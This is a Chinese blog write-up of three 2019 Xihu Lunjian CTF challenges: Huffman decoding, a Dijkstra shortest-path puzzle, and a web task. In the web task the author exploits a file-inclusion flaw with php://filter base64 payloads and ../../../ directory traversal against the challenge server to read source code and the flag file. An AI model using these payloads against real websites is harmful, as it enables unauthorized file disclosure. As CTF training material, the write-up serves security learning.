2019西湖论剑

  • 内容
  • 相关

哈夫曼之谜

附件内容

哈夫曼编码(图论),求解对应字符的二进制编码

#Tree-Node Type
class Node:
    def __init__(self,freq):
        self.left = None
        self.right = None
        self.father = None
        self.freq = freq
    def isLeft(self):
        return self.father.left == self
#create nodes创建叶子节点
def createNodes(freqs):
    return [Node(freq) for freq in freqs]

#create Huffman-Tree创建Huffman树
def createHuffmanTree(nodes):
    queue = nodes[:]
    while len(queue) > 1:
        queue.sort(key=lambda item:item.freq)
        node_left = queue.pop(0)
        node_right = queue.pop(0)
        node_father = Node(node_left.freq + node_right.freq)
        node_father.left = node_left
        node_father.right = node_right
        node_left.father = node_father
        node_right.father = node_father
        queue.append(node_father)
    queue[0].father = None
    return queue[0]
#Huffman编码
def huffmanEncoding(nodes,root):
    codes = [''] * len(nodes)
    for i in range(len(nodes)):
        node_tmp = nodes[i]
        while node_tmp != root:
            if node_tmp.isLeft():
                codes[i] = '0' + codes[i]
            else:
                codes[i] = '1' + codes[i]
            node_tmp = node_tmp.father
    return codes

if __name__ == '__main__':


    chars_freqs = [('a', 4), ('d', 9), ('g', 1), ('f', 5), ('l', 1),
                   ('0', 7), ('5', 9), ('{', 1), ('}', 1)]
    nodes = createNodes([item[1] for item in chars_freqs])
    root = createHuffmanTree(nodes)
    codes = huffmanEncoding(nodes,root)
    dit={}
    for item in zip(chars_freqs,codes):
        dit[item[1]]=item[0][0]
        print 'Character:%s freq:%-2d   encoding: %s' % (item[0][0],item[0][1],item[1])
    line = "11000111000001010010010101100110110101111101110101011110111111100001000110010110101111001101110001000110"
    flag = ""
    while line:
        for key, value in dit.items():
            if key == line[:len(key)]:
                line = line[len(key):]
                flag = flag + value
            #print line
    print flag

出现结果:

Character:a freq:4    encoding: 000
Character:d freq:9    encoding: 01
Character:g freq:1    encoding: 00100
Character:f freq:5    encoding: 110
Character:l freq:1    encoding: 00101
Character:0 freq:7    encoding: 111
Character:5 freq:9    encoding: 10
Character:{ freq:1    encoding: 00110
Character:} freq:1    encoding: 00111

f}alg55fd5f50f0ddd0d00adafdd5505d50a5{

发现有点问题,因为存在4个权值为1(就是构成flag{}的字符)和两个权值为9的字符

调换一下权值相同的字符

dit = {
    "000":"a",
    "01":"5",
    "00100":"{",
    "110":"f",
    "00101":"g",
    "111":"0",
    "10":"d",
    "00110":"}",
    "00111":"l"
}

line = "11000111000001010010010101100110110101111101110101011110111111100001000110010110101111001101110001000110"
flag = ""
while line:
    for key, value in dit.items():
        if key == line[:len(key)]:
            line = line[len(key):]
            flag = flag + value
        # print line
print flag

结果:

flag{ddf5dfd0f05550500a5af55dd0d5d0ad}

最短的路

附件内容

求最短路径问题(图论)

上python脚本

#coding:utf-8

map=[('FloraPrice','E11'),('FloraPrice','E9'),('FloraPrice','75D}'),('NoraFayette','E11'),('NoraFayette','E10'),('NoraFayette','E13'),('NoraFayette','E12'),('NoraFayette','E14'),('NoraFayette','E9'),('NoraFayette','E7'),('NoraFayette','E6'),('E10','SylviaAvondale'),('E10','MyraLiddel'),('E10','HelenLloyd'),('E10','KatherinaRogers'),('VerneSanderson','E7'),('VerneSanderson','E12'),('VerneSanderson','E9'),('VerneSanderson','E8'),('E12','HelenLloyd'),('E12','KatherinaRogers'),('E12','SylviaAvondale'),('E12','MyraLiddel'),('E14','SylviaAvondale'),('E14','75D}'),('E14','KatherinaRogers'),('FrancesAnderson','E5'),('FrancesAnderson','E6'),('FrancesAnderson','E8'),('FrancesAnderson','E3'),('DorothyMurchison','E9'),('DorothyMurchison','E8'),('EvelynJefferson','E9'),('EvelynJefferson','E8'),('EvelynJefferson','E5'),('EvelynJefferson','E4'),('EvelynJefferson','E6'),('EvelynJefferson','E1'),('EvelynJefferson','E3'),('EvelynJefferson','E2'),('RuthDeSand','E5'),('RuthDeSand','E7'),('RuthDeSand','E9'),('RuthDeSand','E8'),('HelenLloyd','E11'),('HelenLloyd','E7'),('HelenLloyd','E8'),('OliviaCarleton','E11'),('OliviaCarleton','E9'),('EleanorNye','E5'),('EleanorNye','E7'),('EleanorNye','E6'),('EleanorNye','E8'),('E9','TheresaAnderson'),('E9','PearlOglethorpe'),('E9','KatherinaRogers'),('E9','SylviaAvondale'),('E9','MyraLiddel'),('E8','TheresaAnderson'),('E8','PearlOglethorpe'),('E8','KatherinaRogers'),('E8','SylviaAvondale'),('E8','BrendaRogers'),('E8','LauraMandeville'),('E8','MyraLiddel'),('E5','TheresaAnderson'),('E5','BrendaRogers'),('E5','LauraMandeville'),('E5','CharlotteMcDowd'),('E4','CharlotteMcDowd'),('E4','TheresaAnderson'),('E4','BrendaRogers'),('E7','TheresaAnderson'),('E7','SylviaAvondale'),('E7','BrendaRogers'),('E7','LauraMandeville'),('E7','CharlotteMcDowd'),('E6','TheresaAnderson'),('E6','PearlOglethorpe'),('E6','BrendaRogers'),('E6','LauraMandeville'),('E1','LauraMandeville'),('E1','BrendaRogers'),('E3','TheresaAnderson'),('E3','BrendaRogers'),('E3','LauraMandeville'),('E3','CharlotteMcDowd'),('E3','flag{'),('E2','LauraMandeville'),('E2','TheresaAnderson'),('KatherinaRogers','E13'),('E13','SylviaAvondale')]

class DijkstraExtendPath():
    def __init__(self, node_map):
        self.node_map = node_map
        self.node_length = len(node_map)
        self.used_node_list = []
        self.collected_node_dict = {}
    def __call__(self, from_node, to_node):
        self.from_node = from_node
        self.to_node = to_node
        self._init_dijkstra()
        return self._format_path()
    def _init_dijkstra(self):
        self.used_node_list.append(self.from_node)
        self.collected_node_dict[self.from_node] = [0, -1]
        for index1, node1 in enumerate(self.node_map[self.from_node]):
            if node1:
                self.collected_node_dict[index1] = [node1, self.from_node]
        self._foreach_dijkstra()
    def _foreach_dijkstra(self):
        if len(self.used_node_list) == self.node_length - 1:
            return
        for key, val in self.collected_node_dict.items():  # 遍历已有权值节点
            if key not in self.used_node_list and key != to_node:
                self.used_node_list.append(key)
            else:
                continue
            for index1, node1 in enumerate(self.node_map[key]):  # 对节点进行遍历
                # 如果节点在权值节点中并且权值大于新权值
                if node1 and index1 in self.collected_node_dict and self.collected_node_dict[index1][0] > node1 + val[0]:
                    self.collected_node_dict[index1][0] = node1 + val[0] # 更新权值
                    self.collected_node_dict[index1][1] = key
                elif node1 and index1 not in self.collected_node_dict:
                    self.collected_node_dict[index1] = [node1 + val[0], key]
        self._foreach_dijkstra()
    def _format_path(self):
        node_list = []
        temp_node = self.to_node
        node_list.append((temp_node, self.collected_node_dict[temp_node][0]))
        while self.collected_node_dict[temp_node][1] != -1:
            temp_node = self.collected_node_dict[temp_node][1]
            node_list.append((temp_node, self.collected_node_dict[temp_node][0]))
        node_list.reverse()
        return node_list
def set_node_map(node_map, node, node_list):
    for x, y in node_list:
        node_map[node.index(x)][node.index(y)] = node_map[node.index(y)][node.index(x)] = 1
if __name__ == "__main__":
    node = []
    node_list = map
    for x, y in node_list:
        node.append(x)
        node.append(y)
    node=list(set(node))
    node_map = [[0 for val in xrange(len(node))] for val in xrange(len(node))]
    set_node_map(node_map, node, node_list)
    # A -->; D
    from_node = node.index('flag{')
    to_node = node.index('75D}')
    dijkstrapath = DijkstraExtendPath(node_map)
    path = dijkstrapath(from_node, to_node)
    flag=""
    for x, y in path:
        flag=flag+node[x]
    print flag

最后求出来的path是输入的点坐标,要转换成对应的值

flag{E3EvelynJeffersonE9FloraPrice75D}

babyt3

打开网站

在页面顶部发现

推测存在文件包含漏洞

测试

发现的确存在,翻一翻网站源代码,底部存在提示,b64解码得dir.php

使用PHP伪协议读取dir源代码:http://ctf3.linkedbyx.com:11260/?file=php://filter/read=convert.base64-encode/resource=dir.php

得到b64数据解码

<?php
$a = @$_GET['dir'];
if(!$a){
$a = '/tmp';
}
var_dump(scandir($a));

是一个扫描目录的功能

构造payload:http://ctf3.linkedbyx.com:11260/dir.php?dir=../../../

扫描根目录,发现疑似flag的东西

无法被当成目录访问,构造payload:http://ctf3.linkedbyx.com:11260/?file=php://filter/read=convert.base64-encode/resource=../../../ffffflag_1s_Her4

直接读取文件内容

将base64解码可得flag:flag{8dc25fd21c52958f777ce92409e2802a}

本文标签:

版权声明:若无特殊注明,本文皆为《Dreamn》原创,转载请联系站长获得授权。

本文链接:2019西湖论剑 - https://dreamn.cn/post/6

发表评论

电子邮件地址不会被公开。 必填项已用*标注

未显示?请点击刷新

允许邮件通知
00:00 / 00:00
随机播放